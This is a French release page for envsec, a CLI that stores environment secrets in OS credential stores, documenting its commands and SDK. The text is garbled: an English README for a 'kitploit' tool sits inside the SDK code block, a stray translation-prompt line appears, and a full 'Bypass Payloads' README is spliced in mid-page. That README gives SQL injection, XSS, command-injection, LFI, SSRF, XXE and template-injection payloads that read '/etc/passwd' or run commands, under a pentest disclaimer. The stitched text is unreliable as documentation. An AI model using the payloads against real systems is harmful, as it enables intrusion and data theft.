Retour aux mises à jour
New releaseSep 3, 2026

envsec v1.0.0-rc.2

Outil CLI sécurisé pour gérer les secrets d'environnement en utilisant les magasins d'identifiants natifs du système d'exploitation (macOS Keychain, Linux Secret Service, Windows Credential Manager)

Partager

envsec

Gestion sécurisée des secrets d'environnement à l'aide des magasins d'identifiants natifs du système d'exploitation.

Démo

Image

Fonctionnalités

  • Stockez les secrets dans le magasin d'identifiants natif de votre système d'exploitation (pas dans des fichiers texte brut)
  • Multi-plateforme : macOS, Linux, Windows
  • Organisez les secrets par contexte (par ex. myapp.dev, stripe-api.prod, work.staging)
  • Suivez les métadonnées des secrets (noms de clés, horodatages) via SQLite
  • Recherchez des contextes et des secrets avec des motifs glob
  • Exécutez des commandes avec interpolation de secrets
  • Enregistrez et réexécutez des commandes avec cmd (recherche, liste, exécution, suppression)
  • Exportez les secrets vers des fichiers .env (avec suivi de génération via audit)
  • Exportez les secrets en tant que variables d'environnement shell (eval $(envsec env))
  • Chargez les secrets depuis des fichiers .env (avec détection de conflits)
  • Partagez des secrets chiffrés avec GPG pour les membres de l'équipe
  • Interface utilisateur terminal interactive (envsec tui) pour gérer les secrets sans mémoriser de commandes

Paquets

Il s'agit d'un monorepo contenant les paquets suivants :

PaquetDescriptionnpm
envsecOutil CLI pour gérer les secretsnpm
@envsec/sdkSDK Node.js / Bun pour charger les secrets par programmationnpm
@envsec/coreMoteur principal — adaptateurs de magasin d'identifiants OS + base de données de métadonnéesnpm
@envsec/tuiInterface utilisateur terminal interactive pour la gestion des secretsnpm

Démarrage rapide du SDK

Pour un accès programmatique aux secrets depuis Node.js ou Bun, utilisez @envsec/sdk :```bash npm install @envsec/sdk

Installation

Option 1: Install via pip

pip install kitploit

Option 2: Install from source

git clone https://github.com/kitploit/kitploit.git
cd kitploit
python setup.py install

Option 3: Install via Docker

docker pull kitploit/kitploit
docker run -it kitploit/kitploit

Usage

Basic usage

kitploit search nmap

Advanced usage

kitploit search --category network --sort stars

Interactive mode

kitploit interactive

Configuration

The configuration file is located at ~/.kitploit/config.yml. You can customize the following options:

  • api_key: Your API key for accessing the Kitploit API
  • language: The language for tool descriptions (default: en)
  • cache_enabled: Whether to enable caching (default: true)
  • cache_ttl: Cache time-to-live in seconds (default: 3600)

Contributing

We welcome contributions! Please read our Contributing Guide for details on how to get started.

License

This project is licensed under the MIT License - see the LICENSE file for details.

import { loadSecrets } from "@envsec/sdk";

// Load and inject into process.env
await loadSecrets({ context: "myapp.dev", inject: true });

// Or use the client for full control
import { EnvsecClient } from "@envsec/sdk";
const client = await EnvsecClient.create({ context: "myapp.dev" });
const apiKey = await client.get("api.key");
await client.close();
```
Voir la [documentation complète du SDK](https://github.com/davidnussio/envsec/blob/main/packages/sdk/README.md) pour toutes les API, la prise en charge multi-contextes et les options.

## Prérequis

- Node.js >= 22

### macOS

Aucune dépendance supplémentaire. Utilise le Trousseau intégré via l'outil CLI `security`.

### Linux

Nécessite `libsecret-tools` (fournit la commande `secret-tool`), qui communique avec GNOME Keyring, KDE Wallet ou tout fournisseur d'API Secret Service via D-Bus.```bash
# Debian / Ubuntu
sudo apt install libsecret-tools

# Fedora
sudo dnf install libsecret

# Arch
sudo pacman -S libsecret
```
Un session D-Bus active et un démon de trousseau de clés (par ex. `gnome-keyring-daemon`) doivent être en cours d’exécution. La plupart des environnements de bureau gèrent cela automatiquement.

### Windows

Aucune dépendance supplémentaire. Utilise le Gestionnaire d’informations d’identification Windows intégré via `cmdkey` et PowerShell.

## Installation

### Homebrew (macOS / Linux)```bash
brew tap davidnussio/homebrew-tap
brew install envsec
```
### npm```bash
npm install -g envsec
```
### npx (sans installation)```bash
npx envsec
```
### mise```bash
mise use -g npm:envsec
```
## Utilisation

La plupart des commandes nécessitent un contexte spécifié avec `--context` (ou `-c`).
Un contexte est une étiquette libre pour regrouper les secrets — par ex. `myapp.dev`, `stripe-api.prod`, `work.staging`.

### Options globales

Ces options sont disponibles sur toutes les commandes :

- `--context`, `-c` — Nom du contexte (par ex. `myapp.dev`, `stripe-api.prod`). Lit également la variable d'environnement `ENVSEC_CONTEXT`
- `--debug`, `-d` — Active la journalisation de débogage
- `--json` — Sortie au format JSON pour les scripts
- `--db` — Chemin vers le fichier de base de données SQLite (par défaut : `~/.envsec/store.sqlite`). Lit également la variable d'environnement `ENVSEC_DB`

### Chemin de base de données personnalisé

Par défaut, les métadonnées sont stockées dans `~/.envsec/store.sqlite`. Vous pouvez remplacer ce chemin avec `--db` ou la variable d'environnement `ENVSEC_DB` :```bash
# Use a project-local database
envsec --db ./local-store.sqlite -c myapp.dev list

# Or via environment variable
export ENVSEC_DB=/shared/team/envsec.sqlite
envsec -c myapp.dev list
```
Le drapeau `--db` a priorité sur `ENVSEC_DB`. Les cas d'utilisation incluent les bases de données par projet, les bases de données partagées en équipe sur des lecteurs réseau, et l'IC/CD avec stockage éphémère.

### Ajouter un secret

Stockez un secret dans le magasin d'informations d'identification du système d'exploitation.

- `<key>` — Nom de la clé du secret (par ex. `api.key`, `db.password`)
- `--value`, `-v` — Valeur à stocker (omettre pour une invite masquée interactive)
- `--expires`, `-e` — Durée d'expiration (par ex. `30m`, `2h`, `7d`, `4w`, `3mo`, `1y`)```bash
# Store a value inline
envsec -c myapp.dev add api.key --value "sk-abc123"

# Or use the short alias
envsec -c myapp.dev add api.key -v "sk-abc123"

# Omit --value for an interactive masked prompt
envsec -c myapp.dev add api.key

# Set an expiry duration with --expires (-e)
envsec -c myapp.dev add api.key -v "sk-abc123" --expires 30d

# Supported duration units: m (minutes), h (hours), d (days), w (weeks), mo (months), y (years)
# Combinable: 1y6mo, 2w3d, 1d12h
envsec -c myapp.dev add api.key -v "sk-abc123" -e 6mo
```
### Récupérer un secret

Récupère la valeur d'un secret depuis le magasin d'identifiants du système d'exploitation.

- `<key>` — Nom de la clé du secret à récupérer
- `--quiet`, `-q` — Affiche uniquement la valeur brute (sans avertissements ni sortie supplémentaire)
- `--json` — Sortie au format JSON (inclut le contexte, la clé, la valeur, expires_at)```bash
envsec -c myapp.dev get api.key

# Print only the raw value (no warnings or extra output)
envsec -c myapp.dev get api.key --quiet
envsec -c myapp.dev get api.key -q
```
### Supprimer un secret

Supprime un secret du magasin d’identifiants du système d’exploitation.

- `<key>` — Nom de la clé du secret à supprimer (facultatif si `--all` est utilisé)
- `--yes`, `-y` — Ignorer l’invite de confirmation
- `--all` — Supprimer tous les secrets du contexte```bash
envsec -c myapp.dev delete api.key

# or use the alias
envsec -c myapp.dev del api.key
```
### Renommer un secret

Renommez une clé secrète dans le même contexte. La valeur et les métadonnées d'expiration sont conservées.

- `<old-key>` — Nom actuel de la clé secrète
- `<new-key>` — Nouveau nom de la clé secrète
- `--force`, `-f` — Écraser la cible si elle existe déjà```bash
# Rename a key
envsec -c myapp.dev rename old.key new.key

# Overwrite target if it already exists
envsec -c myapp.dev rename old.key existing.key --force
```
### Lister tous les secrets d'un contexte

Liste toutes les clés secrètes et les métadonnées d'un contexte.

- `--json` — Sortie au format JSON```bash
envsec -c myapp.dev list
```
### Lister tous les contextes

Liste tous les contextes disponibles avec le nombre de secrets.

- `--json` — Sortie au format JSON```bash
# Without --context, lists all available contexts with secret counts
envsec list
```
### Rechercher des secrets

Recherchez des secrets ou des contextes à l'aide de motifs glob.

- `<pattern>` — Motif glob à rechercher (par ex. `api.*`, `myapp.*`)
- `--json` — Sortie au format JSON```bash
# Search secrets within a context
envsec -c myapp.dev search "api.*"

# Search contexts by pattern (without --context)
envsec search "myapp.*"
```
### Déplacer des secrets entre contextes

Déplace des secrets d'un contexte à un autre. Les secrets sources sont supprimés après le déplacement.

- `<pattern>` — Motif glob ou clé exacte à déplacer (facultatif si `--all` est utilisé)
- `--to`, `-t` — Contexte cible vers lequel déplacer les secrets
- `--all` — Déplace tous les secrets du contexte source
- `--force`, `-f` — Écrase les secrets existants dans le contexte cible
- `--yes`, `-y` — Ignore l'invite de confirmation```bash
# Move a single secret
envsec -c myapp.dev move api.token --to myapp.prod

# Move secrets matching a glob pattern
envsec -c myapp.dev move "redis.*" --to myapp.prod -y

# Move all secrets from one context to another
envsec -c myapp.dev move --all --to myapp.prod -y

# Overwrite existing secrets in the target context
envsec -c myapp.dev move "redis.*" --to myapp.prod --force -y
```
### Copier les secrets entre contextes

Copie les secrets d'un contexte à un autre. Les secrets sources restent intacts.

- `<pattern>` — Motif glob ou clé exacte à copier (facultatif si `--all` est utilisé)
- `--to`, `-t` — Contexte cible vers lequel copier les secrets
- `--all` — Copier tous les secrets du contexte source
- `--force`, `-f` — Écraser les secrets existants dans le contexte cible
- `--yes`, `-y` — Ignorer l'invite de confirmation```bash
# Copy a single secret
envsec -c myapp.dev copy api.token --to myapp.staging

# Copy secrets matching a glob pattern
envsec -c myapp.dev copy "redis.*" --to myapp.staging -y

# Copy all secrets from one context to another
envsec -c myapp.dev copy --all --to myapp.staging -y

# Overwrite existing secrets in the target context
envsec -c myapp.dev copy "redis.*" --to myapp.staging --force -y
```
### Exécuter une commande avec des secrets

Exécutez une commande avec des valeurs secrètes interpolées via des espaces réservés ou injectées en tant que variables d’environnement.

- `<command>` — Commande à exécuter. Utilisez les espaces réservés `{key}` pour l’interpolation des secrets
- `--inject`, `-i` — Injecter tous les secrets du contexte en tant que variables d’environnement (`KEY.NAME` → `KEY_NAME`)
- `--save`, `-s` — Enregistrer cette commande pour une utilisation ultérieure
- `--name`, `-n` — Nom de la commande enregistrée (demandé de manière interactive si omis avec `--save`)```bash
# Placeholders {key} are resolved with secret values before execution
envsec -c myapp.dev run 'curl {api.url} -H "Authorization: Bearer {api.token}"'

# Any {dotted.key} in the command string is replaced with its value
envsec -c myapp.prod run 'psql {db.connection_string}'

# Inject ALL context secrets as environment variables (KEY.NAME → KEY_NAME)
envsec -c myapp.dev run --inject 'node server.js'
envsec -c myapp.dev run -i 'docker compose up'

# Combine --inject with placeholders
envsec -c myapp.dev run --inject 'curl {api.url} -H "Authorization: Bearer $API_TOKEN"'

# Save the command for later use with --save (-s) and --name (-n)
envsec -c myapp.dev run --save --name deploy 'kubectl apply -f - <<< {k8s.manifest}'

# If you use --save without --name, you'll be prompted interactively
envsec -c myapp.dev run --save 'psql {db.connection_string}'
```
Si un espace réservé fait référence à un secret qui n'existe pas, la commande ne s'exécutera pas et vous verrez une erreur claire :```
❌ Missing secrets in context "myapp.dev":
  - api.url
  - api.token

Add them with: envsec -c myapp.dev add <key>
```
### Commandes enregistrées

Les commandes enregistrées sont gérées via la sous-commande `cmd`, ce qui les maintient séparées des opérations secrètes.

#### cmd list

Liste toutes les commandes enregistrées.```bash
envsec cmd list
```
#### cmd run

Exécute une commande enregistrée (utilise le contexte avec lequel elle a été sauvegardée).

- `<name>` — Nom de la commande enregistrée à exécuter
- `--override-context`, `-o` — Remplace le contexte enregistré au moment de l'exécution
- `--quiet`, `-q` — Supprime la sortie informative (affiche uniquement la sortie de la commande)
- `--inject`, `-i` — Injecte tous les secrets du contexte en tant que variables d'environnement```bash
envsec cmd run deploy

# Run quietly (suppress informational output like "Resolved N secret(s)")
envsec cmd run deploy --quiet
envsec cmd run deploy -q

# Override the context at execution time
envsec cmd run deploy --override-context myapp.prod
envsec cmd run deploy -o myapp.prod

# Inject all context secrets as env vars when running a saved command
envsec cmd run deploy --inject
envsec cmd run deploy -i
```
#### cmd search

Recherchez des commandes enregistrées par nom ou par chaîne de commande.

- `<pattern>` — Modèle de recherche
- `--name`, `-n` — Rechercher uniquement dans les noms de commandes
- `--command`, `-m` — Rechercher uniquement dans les chaînes de commandes```bash
envsec cmd search psql

# Search only by name
envsec cmd search deploy -n

# Search only by command string
envsec cmd search kubectl -m
```
#### cmd delete

Supprime une commande enregistrée.

- `<name>` — Nom de la commande à supprimer```bash
envsec cmd delete deploy
```
### Générer un fichier .env

Exportez tous les secrets d'un contexte vers un fichier `.env`.

- `--output`, `-o` — Chemin du fichier de sortie (par défaut : `.env`)```bash
# Creates .env with all secrets from the context
envsec -c myapp.dev env-file

# Specify a custom output path
envsec -c myapp.dev env-file --output .env.local
```
Les clés sont converties en `UPPER_SNAKE_CASE` (par ex. `api.token` → `API_TOKEN`).

### Exporter les secrets en variables d’environnement

Génère des instructions d’export à utiliser avec `eval` ou le sourcing du shell.

- `--shell`, `-s` — Syntaxe du shell cible : `bash` (par défaut), `zsh`, `fish`, `powershell`
- `--unset`, `-u` — Génère des commandes de désactivation/suppression au lieu d’un export```bash
# Output export statements for eval (bash/zsh)
eval $(envsec -c myapp.dev env)

# Specify target shell syntax
envsec -c myapp.dev env --shell fish
envsec -c myapp.dev env --shell powershell

# Output unset commands to clean up exported variables
eval $(envsec -c myapp.dev env --unset)

# Combine shell and unset
envsec -c myapp.dev env --unset --shell fish
```
Shells pris en charge : `bash` (par défaut), `zsh`, `fish`, `powershell`. Les clés sont converties en `UPPER_SNAKE_CASE` (par ex. `api.token` → `API_TOKEN`). La sortie est envoyée sur stdout afin de pouvoir être redirigée vers `eval` ou sourcée directement — aucun fichier n'est écrit sur le disque.

### Démarrer une session shell limitée aux secrets

Lance un sous-shell interactif avec tous les secrets du contexte injectés en tant que
variables d'environnement. Lorsque vous tapez `exit`, les secrets disparaissent — aucun nettoyage nécessaire.

- `--shell`, `-s` — Shell à lancer (`bash`, `zsh`, `fish`, `powershell`). Par défaut : détection automatique
- `--no-inherit` — Ne pas hériter des variables d'environnement parentes
- `--quiet`, `-q` — Supprimer la bannière de démarrage/fin```bash
envsec -c myapp.dev shell
```
Please provide the Markdown content to translate.```
▶ envsec shell — context: myapp.dev (8 secrets loaded)
Type 'exit' or press Ctrl+D to leave the session.

(envsec:myapp.dev) ~ $ echo $DATABASE_URL
postgres://user:pass@localhost/mydb

(envsec:myapp.dev) ~ $ exit
→ Exiting envsec shell — secrets cleared.
```
```
# 🚀 **Bypass Payloads** — Collection de charges utiles de contournement

**Bypass Payloads** est une collection complète de charges utiles (payloads) de contournement, de techniques et de ressources conçues pour les tests d'intrusion, les évaluations de sécurité et la recherche en cybersécurité. Ce dépôt regroupe une grande variété de charges utiles pour contourner les WAF (pare-feu applicatifs web), les filtres d'entrée, les mécanismes de validation et les contrôles de sécurité dans différentes technologies et contextes.

---

## 📌 **Fonctionnalités**

- **Charges utiles de contournement WAF** : Contournez les règles des pare-feu applicatifs web (Cloudflare, ModSecurity, AWS WAF, etc.) à l'aide de techniques d'encodage, d'obfuscation et de mutation.
- **Injection SQL (SQLi)** : Charges utiles pour contourner les filtres et les WAF dans les requêtes SQL (bases de données MySQL, PostgreSQL, MSSQL, Oracle, etc.).
- **Cross-Site Scripting (XSS)** : Charges utiles pour contourner les filtres XSS, les politiques CSP et les validateurs d'entrée.
- **Injection de commandes (Command Injection)** : Charges utiles pour contourner les filtres de commandes et exécuter des commandes système.
- **Inclusion de fichiers (LFI/RFI)** : Charges utiles pour exploiter les vulnérabilités d'inclusion de fichiers locaux et distants.
- **Téléchargement de fichiers** : Charges utiles pour contourner les restrictions de téléchargement et exécuter du code arbitraire.
- **SSRF (Server-Side Request Forgery)** : Charges utiles pour contourner les filtres SSRF et accéder à des ressources internes.
- **XXE (XML External Entity)** : Charges utiles pour exploiter les vulnérabilités XXE et lire des fichiers ou effectuer des requêtes SSRF.
- **SSTI (Server-Side Template Injection)** : Charges utiles pour exploiter les injections de modèles côté serveur.
- **Désérialisation** : Charges utiles pour exploiter les vulnérabilités de désérialisation dans différents langages (Java, PHP, Python, Ruby, etc.).
- **Obfuscation et encodage** : Techniques d'encodage (URL, Base64, Hex, Unicode, etc.) pour contourner les filtres et les WAF.
- **Ressources et références** : Liens vers des articles, des outils et des recherches pertinents.

---

## 🛠️ **Installation**

Clonez le dépôt :

```bash
git clone https://github.com/random-robbie/bypass-payloads.git
cd bypass-payloads
```

Aucune dépendance externe n'est requise. Les charges utiles sont organisées par catégorie dans des fichiers texte et des répertoires.

---

## 📂 **Structure du dépôt**

```
bypass-payloads/
├── README.md
├── LICENSE
├── payloads/
│   ├── sql-injection/
│   ├── xss/
│   ├── command-injection/
│   ├── lfi-rfi/
│   ├── file-upload/
│   ├── ssrf/
│   ├── xxe/
│   ├── ssti/
│   ├── deserialization/
│   └── waf-bypass/
├── techniques/
│   ├── encoding/
│   ├── obfuscation/
│   └── mutation/
└── resources/
    ├── articles.md
    ├── tools.md
    └── references.md
```

---

## 🚦 **Utilisation**

Parcourez les répertoires et les fichiers pour trouver des charges utiles adaptées à votre scénario de test. Chaque fichier contient des charges utiles commentées avec des explications sur leur fonctionnement et leur contexte d'utilisation.

Exemple d'utilisation avec `curl` pour tester une charge utile XSS :

```bash
curl -X POST "https://target.com/search" -d "query=<script>alert(1)</script>"
```

---

## 📖 **Catégories de charges utiles**

### 1. **Injection SQL (SQLi)**

Fichier : `payloads/sql-injection/`

Contient des charges utiles pour :

- Contourner les filtres de mots-clés (`SELECT`, `UNION`, `OR`, `AND`, etc.).
- Contourner les WAF à l'aide d'encodage, de commentaires (`/**/`, `--`, `#`), de concaténation de chaînes, etc.
- Exploiter les erreurs SQL, les requêtes booléennes, les injections basées sur le temps, etc.

Exemple :

```sql
' OR 1=1 -- -
' UNION SELECT username, password FROM users --
'/**/OR/**/1=1-- -
```

### 2. **Cross-Site Scripting (XSS)**

Fichier : `payloads/xss/`

Contient des charges utiles pour :

- Contourner les filtres de balises (`<script>`, ``, `<svg>`, etc.).
- Contourner les politiques CSP.
- Utiliser des événements HTML (`onerror`, `onload`, `onmouseover`, etc.).
- Encodage et obfuscation de charges utiles.

Exemple :

```html

<svg/onload=alert(1)>
javascript:alert(1)
```

### 3. **Injection de commandes (Command Injection)**

Fichier : `payloads/command-injection/`

Contient des charges utiles pour :

- Contourner les filtres de caractères (`;`, `|`, `&`, `$`, etc.).
- Utiliser des substitutions de commandes (`$(...)`, `` `...` ``).
- Utiliser des techniques d'encodage (Base64, Hex, etc.).

Exemple :

```bash
; ls -la
| whoami
$(cat /etc/passwd)
`id`
```

### 4. **Inclusion de fichiers (LFI/RFI)**

Fichier : `payloads/lfi-rfi/`

Contient des charges utiles pour :

- Lire des fichiers locaux (`/etc/passwd`, `/etc/shadow`, etc.).
- Contourner les filtres de chemins (`../`, `....//`, etc.).
- Utiliser des wrappers PHP (`php://filter`, `data://`, etc.).

Exemple :

```text
../../../../etc/passwd
....//....//....//etc/passwd
php://filter/convert.base64-encode/resource=index.php
```

### 5. **Téléchargement de fichiers**

Fichier : `payloads/file-upload/`

Contient des charges utiles pour :

- Contourner les restrictions d'extension (`.php`, `.phtml`, `.php5`, etc.).
- Utiliser des extensions doubles (`file.php.jpg`).
- Utiliser des en-têtes MIME falsifiés.

Exemple :

```text
shell.php
shell.phtml
shell.php.jpg
Content-Type: image/png
```

### 6. **SSRF (Server-Side Request Forgery)**

Fichier : `payloads/ssrf/`

Contient des charges utiles pour :

- Accéder à des adresses IP internes (`127.0.0.1`, `169.254.169.254`, etc.).
- Contourner les filtres d'URL (encodage, redirections, etc.).
- Utiliser des protocoles alternatifs (`file://`, `gopher://`, etc.).

Exemple :

```text
http://127.0.0.1:8080/admin
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
gopher://internal:8080/_GET /admin HTTP/1.0
```

### 7. **XXE (XML External Entity)**

Fichier : `payloads/xxe/`

Contient des charges utiles pour :

- Lire des fichiers locaux.
- Effectuer des requêtes SSRF.
- Contourner les filtres XML.

Exemple :

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```

### 8. **SSTI (Server-Side Template Injection)**

Fichier : `payloads/ssti/`

Contient des charges utiles pour :

- Exploiter les injections de modèles dans Jinja2, Twig, Freemarker, etc.
- Exécuter des commandes système.
- Lire des fichiers sensibles.

Exemple :

```text
{{7*7}}
${7*7}
<%= 7*7 %>
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

### 9. **Désérialisation**

Fichier : `payloads/deserialization/`

Contient des charges utiles pour :

- Exploiter les vulnérabilités de désérialisation en Java, PHP, Python, Ruby, etc.
- Exécuter du code arbitraire.
- Contourner les filtres de désérialisation.

Exemple (PHP) :

```php
O:8:"Example":1:{s:10:"callback";s:4:"exec";}
```

### 10. **Contournement WAF**

Fichier : `payloads/waf-bypass/`

Contient des charges utiles et des techniques pour contourner les règles des WAF courants (Cloudflare, ModSecurity, AWS WAF, etc.).

Exemple :

```text
/*!50000SELECT*/ 1 FROM users
<scr<script>ipt>alert(1)</scr</script>ipt>
%27%20OR%201=1%20--%20-
```

---

## 🧠 **Techniques d'encodage et d'obfuscation**

Fichier : `techniques/`

Contient des guides et des exemples pour :

- Encodage URL, Base64, Hex, Unicode, etc.
- Obfuscation de chaînes et de mots-clés.
- Mutation de charges utiles pour contourner les filtres.

---

## 📚 **Ressources et références**

Fichier : `resources/`

Contient des listes d'articles, d'outils et de références utiles pour approfondir vos connaissances en contournement de filtres et en tests d'intrusion.

---

## ⚠️ **Avertissement légal**

**Ce dépôt est destiné à des fins éducatives et de tests d'intrusion autorisés uniquement.** L'utilisation de ces charges utiles sur des systèmes sans autorisation explicite est illégale. L'auteur et les contributeurs ne sont pas responsables de toute utilisation abusive de ce contenu.

---

## 🤝 **Contribution**

Les contributions sont les bienvenues ! Si vous avez des charges utiles, des techniques ou des ressources à partager, veuillez soumettre une pull request ou ouvrir une issue.

---

## 📄 **Licence**

Ce projet est sous licence MIT. Voir le fichier [LICENSE](https://github.com/davidnussio/envsec/blob/main/LICENSE) pour plus de détails.

---

## ⭐ **Remerciements**

Merci à tous les contributeurs et à la communauté de la cybersécurité pour leurs recherches et leurs partages.

---

**Bonne exploration et bonnes chasses !** 🎯
``````bash
# Force a specific shell
envsec -c myapp.dev shell --shell zsh

# Only envsec secrets in env (no parent variables, except PATH)
envsec -c myapp.dev shell --no-inherit

# Suppress the startup/exit banner
envsec -c myapp.dev shell --quiet
```
La variable `ENVSEC_CONTEXT` est toujours définie dans la session, vous pouvez donc
y faire référence dans des scripts ou des personnalisations d'invite.

### Charger les secrets depuis un fichier .env

Importez les secrets d'un fichier `.env` dans un contexte.

- `--input`, `-i` — Chemin du fichier `.env` d'entrée (par défaut : `.env`)
- `--force`, `-f` — Écraser les secrets existants sans demander confirmation
- `--batch`, `-b` — Mode batch : différer la persistance en base de données jusqu'à ce que tous les secrets soient importés```bash
# Import secrets from .env into the context
envsec -c myapp.dev load

# Specify a custom input file
envsec -c myapp.dev load --input .env.local

# Overwrite existing secrets without warning
envsec -c myapp.dev load --force
```
Les clés sont converties de `UPPER_SNAKE_CASE` en `dotted.lowercase` (par ex. `API_TOKEN` → `api.token`). Si une clé existe déjà, elle est ignorée avec un avertissement, sauf si `--force` (`-f`) est fourni.

### Partager des secrets (chiffrés GPG)

Chiffrez tous les secrets d'un contexte pour un membre de l'équipe à l'aide de GPG.

- `--encrypt-to` — Clé de destinataire GPG (e-mail, ID de clé ou empreinte) pour le chiffrement
- `--output`, `-o` — Chemin du fichier de sortie (par défaut : stdout). Utilisez `-` pour stdout explicitement
- `--json` — Utilisez le format JSON dans la charge utile chiffrée (par défaut : format `.env`)```bash
# Encrypt all secrets from a context for a team member
envsec -c myapp.dev share --encrypt-to [email protected]

# Save encrypted output to a file
envsec -c myapp.dev share --encrypt-to [email protected] -o secrets.enc

# Use JSON format inside the encrypted payload
envsec -c myapp.dev --json share --encrypt-to [email protected] -o secrets.enc
```
Le destinataire peut déchiffrer avec `gpg --decrypt secrets.enc` et rediriger le résultat vers `envsec load`. Par défaut, la charge utile chiffrée utilise le format `.env` (`KEY="value"`) ; avec `--json`, elle utilise un objet JSON structuré. Nécessite que GPG soit installé et que la clé publique du destinataire soit dans votre trousseau.

### Auditer les secrets pour leur expiration

Vérifiez les secrets expirés ou arrivant à expiration et les exports de fichiers `.env` suivis.

- `--within`, `-w` — Affiche les secrets expirant dans cette durée (par défaut : `30d`). Utilisez `0d` pour afficher uniquement ceux déjà expirés
- `--json` — Sortie au format JSON```bash
# Check for expired or expiring secrets in a context (default window: 30 days)
envsec -c myapp.dev audit

# Specify a custom window
envsec -c myapp.dev audit --within 7d

# Show only already-expired secrets
envsec -c myapp.dev audit --within 0d

# Audit across all contexts (omit --context)
envsec audit

# JSON output
envsec -c myapp.dev audit --json
```
Les secrets avec une durée `--expires` définie via `envsec add` sont suivis dans les métadonnées. La commande `audit` recherche les secrets déjà expirés ou qui expireront dans la fenêtre spécifiée. Les commandes `get` et `list` affichent également des avertissements d'expiration en ligne.

La commande `audit` suit également les fichiers `.env` générés. Chaque fois que `env-file` est utilisé, le chemin de sortie, le contexte et l'horodatage sont enregistrés. La sortie d'audit comprend une deuxième section listant ces fichiers. Si un fichier `.env` suivi n'existe plus sur le disque, audit le supprime automatiquement des métadonnées et signale le nettoyage.

### Générer un secret aléatoire

Générez un secret aléatoire cryptographiquement sûr, avec possibilité de le stocker.

- `<key>` — Nom de la clé du secret (facultatif ; omettez-le pour la génération autonome d'un mot de passe)
- `--length`, `-l` — Longueur du secret généré (défaut : `32`)
- `--prefix`, `-p` — Préfixe à ajouter au secret généré (par ex. `sk_`)
- `--expires`, `-e` — Durée d'expiration (par ex. `30m`, `2h`, `7d`, `4w`, `3mo`, `1y`)
- `--alphanumeric`, `-a` — Utiliser uniquement des caractères alphanumériques `[a-zA-Z0-9]` (défaut)
- `--special`, `-s` — Inclure les caractères spéciaux courants `[a-zA-Z0-9!@#$%^&*]`
- `--all-chars`, `-A` — Utiliser tous les caractères ASCII imprimables pour une entropie maximale```bash
# Generate and store a 32-char alphanumeric secret
envsec -c myapp.dev secret api.key

# Custom length and prefix
envsec -c myapp.dev secret api.key --prefix "sk_" --length 48

# Character sets:
#   --alphanumeric (-a)  [a-zA-Z0-9] (default)
#   --special (-s)       [a-zA-Z0-9] + !@#$%^&*
#   --all-chars (-A)     all printable ASCII
envsec -c myapp.dev secret db.password --special --length 64

# With expiry
envsec -c myapp.dev secret api.key --prefix "sk_" -l 48 --expires 90d

# Standalone password generator (no store, just print)
envsec secret --length 32
envsec secret --special --length 64 --prefix "pk_"
```
Lorsque le contexte et la clé sont tous deux fournis, la valeur générée est stockée et affichée. Sans l'un ou l'autre, la valeur brute est envoyée vers stdout — utile pour la redirection vers `pbcopy`, `xclip` ou d'autres outils.

### TUI interactif

envsec inclut une interface terminal plein écran pour gérer les secrets de manière interactive — inutile de mémoriser les commandes.```bash
# Launch the TUI
envsec tui

# Launch with a pre-selected context
envsec -c myapp.dev tui
```
La TUI fournit huit écrans accessibles depuis le menu principal :

- **Contextes** — parcourir tous les contextes, définir le contexte actif avec `s`, effacer le contexte avec `x`, consulter les compteurs de secrets, supprimer des contextes entiers
- **Secrets** — lister les secrets dans un tableau, révéler les valeurs, ajouter ou supprimer des secrets
- **Ajouter un secret** — formulaire interactif avec saisie masquée et durée d'expiration facultative
- **Recherche** — recherche par motif glob dans les secrets ou les contextes
- **Commandes enregistrées** — lister, consulter et supprimer les modèles de commandes enregistrés
- **Audit** — vérifier les secrets expirés ou sur le point d'expirer, examiner les exports de fichiers `.env` suivis
- **Importer .env** — charger des secrets depuis un fichier `.env` dans le contexte actuel
- **Exporter .env** — exporter les secrets vers un fichier `.env` (suivi pour l'audit)

Raccourcis clavier :

| Touche | Action |
|-----|--------|
| `↑` / `↓` | Naviguer dans les éléments du menu et les lignes du tableau |
| `Entrée` | Sélectionner / confirmer |
| `c` | Ouvrir la vue des contextes (menu principal) |
| `s` | Définir l'élément sélectionné comme contexte actif (vue des contextes) |
| `x` | Effacer le contexte actif (vue des contextes) |
| `a` | Ajouter un nouveau secret (vue des secrets) |
| `d` | Supprimer l'élément sélectionné |
| `r` | Révéler la valeur du secret (vue détaillée) |
| `Échap` | Revenir en arrière / annuler |
| `q` | Quitter la TUI |

### Diagnostiquer votre installation

Exécutez des vérifications de santé pour valider votre installation d'envsec.

- `--json` — Sortie au format JSON pour les scripts```bash
# Run all health checks
envsec doctor

# JSON output for scripting
envsec --json doctor
```
La commande `doctor` vérifie que votre installation d'envsec fonctionne correctement. Elle contrôle :
- La prise en charge de la plateforme et la version de Node.js
- La disponibilité du magasin d'identifiants (Keychain macOS, secret-tool Linux, cmdkey Windows)
- L'accès en lecture/écriture au trousseau
- Le chemin de la base de données, les permissions et l'intégrité du schéma
- Les secrets orphelins (métadonnées sans entrée dans le trousseau)
- Les secrets expirés
- Les variables d'environnement (`ENVSEC_DB`, `ENVSEC_CONTEXT`)
- Le shell actuel

### Complétions du shell

envsec prend en charge la complétion dynamique par tabulation pour bash, zsh et fish. Les complétions sont contextuelles : elles suggèrent vos noms de contextes réels, vos clés secrètes et vos noms de commandes enregistrés en temps réel en interrogeant la base de données de métadonnées.```bash
# Bash (add to ~/.bashrc)
eval "$(envsec --completions bash)"

# Zsh (add to ~/.zshrc)
eval "$(envsec --completions zsh)"

# Fish (add to ~/.config/fish/config.fish)
envsec --completions fish | source
```
Ce qui est complété dynamiquement :
- `--context` / `-c` — liste tous vos contextes
- Les arguments de clé secrète (`get`, `add`, `delete`) — liste les clés du contexte actuel
- `cmd run` / `cmd delete` — liste les noms de commandes enregistrées
- `--override-context` / `-o` — liste les contextes pour `cmd run`
- Les sous-commandes, les drapeaux et les choix statiques (shells, etc.) sont également complétés

## Comparaison

Comment envsec se compare-t-il aux autres outils de gestion des secrets d'environnement ?

| Fonctionnalité | envsec | dotenv / dotenvx | CLI 1Password (`op`) |
|---|---|---|---|
| Stockage des secrets | Magasin d'identifiants de l'OS (Keychain, Secret Service, Credential Manager) | Fichiers `.env` sur disque (dotenvx ajoute le chiffrement) | Coffre cloud 1Password |
